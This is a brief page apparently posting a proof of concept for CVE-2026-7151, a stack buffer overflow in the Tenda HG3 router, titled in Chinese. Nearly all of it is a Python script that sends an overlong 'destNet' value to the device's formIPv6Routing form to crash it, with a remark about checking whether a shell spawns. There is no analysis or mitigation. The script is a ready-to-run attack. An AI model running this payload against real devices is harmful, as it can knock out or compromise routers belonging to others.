CVE-2026-7151 Tenda HG3 栈缓冲区溢出漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://192.168.0.1/boaform/formIPv6Routing" # Malicious payload to trigger stack-based buffer overflow # The 'destNet' parameter is vulnerable # Sending a long string of 'A's to overwrite the return address payload_data = { "destNet": "A" * 500, # Other form fields may be required depending on the form structure } try: # Send POST request to trigger the vulnerability response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if the device crashes or if a shell is spawned.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")